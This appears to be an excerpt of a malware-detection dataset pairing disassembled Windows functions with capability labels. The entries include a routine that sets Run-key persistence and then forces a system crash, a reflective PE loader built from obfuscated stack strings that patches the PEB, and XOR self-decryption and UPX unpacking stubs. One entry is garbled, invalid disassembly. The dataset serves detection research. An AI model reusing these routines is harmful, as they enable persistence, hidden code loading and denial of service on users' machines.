joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ca40
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x408
mov eax, dword [0x42d028]
xor eax, esp
mov dword [esp + 0x404], eax
mov eax, dword [esp + 0x410]
push ebx
push ebp
mov ebp, dword [esp + 0x414]
push esi
push edi
mov edi, ecx
cmp edi, 1
mov esi, edx
mov dword [esp + 0x10], eax
lea ebx, [esp + 0x14]
jne 0x41ca7e
call fcn.004015d0
jmp 0x41ca88
push 0x200
call fcn.004014b0
test al, al
je 0x41caef
lea ecx, [esi + 0x12c]
push ecx
lea edx, [esp + 0x18]
push 0x200
push edx
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0xc
cmp edi, 1
je 0x41cabb
push 0x80
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea ecx, [esp + 0x14]
push ecx
push ebp
lea edx, [esi + 0x190]
push edx
lea edi, [esi + 0x64]
push edi
call ebx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ecx
add esi, 0x1c2
push esi
push edi
call ebx
test eax, eax
setne al
jmp 0x41caf1
xor al, al
mov ecx, dword [esp + 0x414]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041d7b2
add esp, 0x408
ret 8
Function at 0x10022f4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x100231a
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
jmp 0x1002373
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push esi
push 1
call ebx
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x250]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x1002348
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x100235e
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, 0x94
lea esi, [ebp - 0x250]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push dword [ebp + 0xc]
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
test esi, esi
pop esi
sete al
pop ebx
pop edi
leave
ret 8

Function at 0x1002b53
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
push 0x14
push 0x1001348
call fcn.0100227c
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], edi
cmp dword [ebp + 0x10], edi
je 0x1002bcc
push edi
push 4
call fcn.01003722
mov dword [0x10055e4], eax
cmp eax, edi
je 0x1002c1b
mov esi, 0x1005198
mov dword [ebp - 0x24], esi
mov eax, dword [esi]
cmp eax, edi
je 0x1002ba1
push dword [esi + 4]
push eax
call fcn.01002b2e
add esi, 8
jmp 0x1002b8a
push 0x20a
mov esi, 0x10056a0
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1002c1b
push 0x1001338
push esi
call fcn.01002448
push eax
call dword [sym.imp.msvcrt.dll__mbscpy]
pop ecx
pop ecx
jmp 0x1002bd1
mov esi, 0x10056a0
cmp dword [0x10055f0], edi
je 0x1002bec
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp + 0xc]
cmp eax, edi
je 0x1002bfb
mov ecx, dword [0x10055d8]
mov dword [eax], ecx
mov eax, dword [ebp + 8]
cmp eax, edi
je 0x1002c14
mov eax, dword [eax]
mov dword [0x10055d8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x10055dc], eax
mov dword [ebp - 0x20], 1
or dword [ebp - 4], 0xffffffff
call fcn.01002c31
mov eax, dword [ebp - 0x20]
call fcn.010022b5
ret 0xc

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
pop ds
rol dword [ebx], 1
xor al, 0x76
push ebp
test byte [ecx], dh
xchg edi, eax
pop esp
adc eax, 0xaf34d523
invalid
Function at 0x410340
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
call fcn.00410256
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0x10]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], 0x65006b
mov dword [ebp - 0x2c], 0x6e0072
mov dword [ebp - 0x28], 0x6c0065
mov dword [ebp - 0x24], 0x320033
mov dword [ebp - 0x20], 0x64002e
mov dword [ebp - 0x1c], 0x6c006c
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
call dword [eax]
mov dword [ebp - 0x30], 0x74726956
mov dword [ebp - 0x2c], 0x516c6175
mov dword [ebp - 0x28], 0x79726575
mov dword [ebp - 0x24], 0x7845
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 4]
call dword [eax]
mov dword [ebp - 8], eax
lea ebx, [ebp - 0x34]
push ebx
push 0x40
push 0x20
push dword [ebp - 0x10]
call dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, 0xa
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
add eax, 5
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
add eax, 5
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
lea ebx, [ebp - 0x34]
push ebx
push dword [ebp - 0x34]
push 0x20
push dword [ebp - 0x10]
call dword [ebp - 0xc]
lea ebx, [ebp - 0x34]
push ebx
push 0x40
push 8
push dword [ebp - 4]
call dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov byte [ecx], 0xe8
mov eax, dword [ebp - 0x10]
sub eax, ecx
sub eax, 5
mov dword [ecx + 1], eax
lea ebx, [ebp - 0x34]
push ebx
push dword [ebp - 0x34]
push 8
mov eax, dword [ebp - 4]
push eax
call dword [ebp - 0xc]
leave
ret 0xc
Function at 0x410493
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x6e72656b
mov dword [ebp - 0x10], 0x32336c65
mov dword [ebp - 0xc], 0x6c6c642e
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
mov eax, dword [eax + 0x80]
add eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0xc]
cmp eax, 0
je 0x410577
add eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00410459
cmp eax, 0
jne 0x41056e
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
cmp eax, 0
je 0x41056e
and eax, 0x80000000
jne 0x410568
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, dword [ebp + 8]
add eax, 2
mov esi, 0
cmp esi, dword [ebp + 0x14]
je 0x410568
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx + esi*4]
push eax
push ebx
push eax
call fcn.00410459
cmp eax, 0
pop eax
jne 0x410565
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx + esi*4]
cmp ebx, 0
jne 0x41054a
dec dword [ebp - 4]
mov ebx, dword [ebp - 0x18]
sub eax, dword [ebx]
mov ebx, dword [ebx + 0x10]
add ebx, dword [ebp + 8]
add eax, ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebx + esi*4], eax
cmp dword [ebp - 4], 0
je 0x410577
jmp 0x410568
inc esi
jmp 0x41051d
add dword [ebp - 0x1c], 4
jmp 0x4104fc
add dword [ebp - 0x18], 0x14
jmp 0x4104d0
leave
ret 0x10
Function at 0x410626
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
mov dword [ebp - 0x20], 0x65006b
mov dword [ebp - 0x1c], 0x6e0072
mov dword [ebp - 0x18], 0x6c0065
mov dword [ebp - 0x14], 0x320033
mov dword [ebp - 0x10], 0x64002e
mov dword [ebp - 0xc], 0x6c006c
mov dword [ebp - 8], 0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
call dword [eax]
mov dword [ebp - 0x20], 0x64616f4c
mov dword [ebp - 0x1c], 0x7262694c
mov dword [ebp - 0x18], 0x41797261
mov dword [ebp - 0x14], 0
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
call dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 8]
add eax, dword [eax + 0x3c]
mov edx, eax
mov edx, dword [edx + 0x80]
add edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
cmp eax, 0
je 0x410742
add eax, dword [ebp + 8]
push edx
push eax
call dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
pop edx
mov eax, dword [edx + 0x10]
add eax, dword [ebp + 8]
mov ebx, eax
mov ecx, dword [edx]
cmp ecx, 0
je 0x4106d1
mov ebx, ecx
add ebx, dword [ebp + 8]
mov ecx, dword [ebx]
cmp ecx, 0
je 0x41073a
push edx
push eax
push ebx
mov edx, ecx
and edx, 0x80000000
cmp edx, 0
je 0x410713
mov eax, dword [ebp - 0x28]
add eax, dword [eax + 0x3c]
mov eax, dword [eax + 0x78]
add eax, dword [ebp - 0x28]
and ecx, 0xffff
sub ecx, dword [eax + 0x10]
imul ecx, ecx, 4
add ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
cmp ecx, 0
jne 0x41070e
int3
add ecx, dword [ebp - 0x28]
jmp 0x41072d
add ecx, dword [ebp + 8]
add ecx, 2
push ecx
push dword [ebp - 0x28]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
call dword [eax]
mov ecx, eax
cmp ecx, 0
jne 0x41072d
int3
pop ebx
pop eax
pop edx
mov dword [eax], ecx
add eax, 4
add ebx, 4
jmp 0x4106d1
add edx, 0x14
jmp 0x4106a5
leave
ret 8
Function at 0x410746
Capabilities:
Check os version
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x50]
mov dword [ebp - 4], eax
push 4
push 0x3000
push dword [ebp - 4]
push 0
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
call dword [eax]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x54]
push eax
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.00410437
lea ebx, [ebp - 0x10]
push ebx
push 2
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
call dword [eax]
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 6]
movzx esi, word [eax + 0x14]
add esi, dword [ebp - 8]
add esi, 0x18
cmp ecx, 0
je 0x4107d3
push esi
push ecx
mov eax, dword [ebp - 0xc]
add eax, dword [esi + 0xc]
mov ebx, dword [ebp + 8]
add ebx, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
push ecx
push ebx
push eax
call fcn.00410437
pop ecx
pop esi
add esi, 0x28
dec ecx
jmp 0x4107ad
push dword [ebp - 0xc]
call fcn.004105c1
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call fcn.00410626
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 6]
movzx esi, word [eax + 0x14]
add esi, dword [ebp - 8]
add esi, 0x18
cmp ecx, 0
je 0x410825
push esi
push ecx
lea eax, [ebp - 0x10]
push eax
mov eax, dword [esi + 0x24]
and eax, 0xffff
push eax
push dword [esi + 8]
mov eax, dword [ebp - 0xc]
add eax, dword [esi + 0xc]
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
call dword [eax]
pop ecx
pop esi
add esi, 0x28
dec ecx
jmp 0x4107f7
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xa4]
cmp eax, 5
jne 0x410846
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp - 0xc]
call fcn.00410340
jmp 0x410854
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp - 0xc]
call fcn.004102a7
mov eax, dword [ebp - 0xc]
leave
ret 8
Function at 0x41085b
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
mov eax, dword fs:[0x30]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x427000
mov dword [ebp - 0x48], 0x4d746547
mov dword [ebp - 0x44], 0x6c75646f
mov dword [ebp - 0x40], 0x6e614865
mov dword [ebp - 0x3c], 0x57656c64
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x58], 0x50746547
mov dword [ebp - 0x54], 0x41636f72
mov dword [ebp - 0x50], 0x65726464
mov dword [ebp - 0x4c], 0x7373
mov dword [ebp - 0x68], 0x74726956
mov dword [ebp - 0x64], 0x416c6175
mov dword [ebp - 0x60], 0x636f6c6c
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x78], 0x74726956
mov dword [ebp - 0x74], 0x506c6175
mov dword [ebp - 0x70], 0x65746f72
mov dword [ebp - 0x6c], 0x7463
mov dword [ebp - 0x88], 0x74726956
mov dword [ebp - 0x84], 0x516c6175
mov dword [ebp - 0x80], 0x79726575
mov dword [ebp - 0x7c], 0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x78]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x88]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
push 5
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call fcn.00410493
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 8]
call fcn.00410746
mov dword [ebp - 0xc], eax
mov eax, dword fs:[0]
mov ebx, dword [eax]
cmp ebx, 0xffffffff
je 0x410986
mov eax, ebx
jmp 0x41097b
mov dword fs:[0], eax
mov ebx, dword fs:[0x30]
mov eax, dword [ebp - 0xc]
mov dword [ebx + 8], eax
mov eax, dword [ebx + 0xc]
mov eax, dword [eax + 0xc]
cmp eax, 0
je 0x4109b8
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 4]
jne 0x4109b4
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x18], ecx
jmp 0x4109b8
mov eax, dword [eax]
jmp 0x41099f
wait
fninit
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0xc]
mov edx, eax
xor ecx, ecx
mov ebx, dword fs:[0x30]
call edx
leave
ret

Function at 0x43f15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x43f168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x43f14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x43f145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x43f145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x882610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x371000]
push edi
jmp 0x88262a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x882631
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x882620
mov eax, 1
add ebx, ebx
jne 0x882643
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x882654
jne 0x882673
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x882673
dec eax
add ebx, ebx
jne 0x882660
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x882638
add ebx, ebx
jne 0x88266f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8826c5
xor ecx, ecx
sub eax, 3
jb 0x88268b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8826fa
sar eax, 1
mov ebp, eax
jmp 0x882696
add ebx, ebx
jne 0x882696
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x882664
inc ecx
add ebx, ebx
jne 0x8826a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x882664
add ebx, ebx
jne 0x8826b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8826a6
jne 0x8826c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8826a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8826e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8826d6
jmp 0x882626
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8826e4
add edi, ecx
jmp 0x882626
pop esi
mov edi, esi
mov ecx, 0x2133a5
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x88271f
cmp byte [edi], 0x80
jne 0x882704
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x882702
lea edi, [esi + 0x47f000]
mov eax, dword [edi]
or eax, eax
je 0x882770
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x488abc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x488bec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x882725
mov ecx, edi
jns 0x882754
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x488bf4]
or eax, eax
je 0x88276a
mov dword [ebx], eax
add ebx, 4
jmp 0x882742
call dword [esi + 0x488bf0]
mov ebp, dword [esi + 0x488bf8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8827a4
sub esp, 0xffffff80
jmp 0x62608a

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402510
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404870
mov eax, dword fs:[0]
push eax
mov eax, 0x139c
call fcn.00404610
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x208
lea eax, [ebp - 0x220]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4025dc
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4025a3
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x220]
push eax
push 1
push 0
push 0x4054bc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4025dc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movq qword [ebp - 0x13a8], xmm0
mov dword [ebp - 4], 0
mov edx, 0x1571
mov dword [ebp - 0x1c], 0xffffffff
mov ecx, 1
mov dword [ebp - 0x139c], 0x1571
nop dword [eax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [ebp + ecx*4 - 0x139c], edx
inc ecx
cmp ecx, 0x270
jb 0x402610
lea ecx, [ebp - 0x13a0]
mov dword [ebp - 0x13a0], 0x270
call fcn.00403300
mov esi, 5
mul esi
cmp eax, esi
jae 0x402666
cmp eax, 1
jae 0x402666
lea ecx, [ebp - 0x13a0]
call fcn.00403300
mul esi
cmp eax, 1
jb 0x402654
lea eax, [edx + 1]
imul eax, eax, 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x405414
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ntdll.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
test esi, esi
je 0x4026d1
test ebx, ebx
je 0x4026d1
push str.RtlAdjustPrivilege
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
push str.NtRaiseHardError
push ebx
mov edi, eax
call esi
mov esi, eax
lea eax, [ebp - 0x15]
push eax
push 0
push 1
push 0x13
call edi
lea eax, [ebp - 0x14]
push eax
push 6
push 0
push 0
push 0
push 0xc0000017
call esi
cmp dword [ebp - 0x13a4], 0
je 0x4026e0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004038c7
mov esp, ebp
pop ebp
ret
Function at 0x403300
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x40335d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x403320
mov eax, dword [esi]
jmp 0x40343b
cmp eax, 0x4e0
jb 0x40343b
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x403376
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x4033c1
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40349a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x4034c1
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x4034c4
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00403476
pop esi
leave
ret 8

Function at 0x404161
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4041a0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4041a0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4041a0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4041a0
cmp dword [ecx + 0x74], 0xe
jbe 0x4041a0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret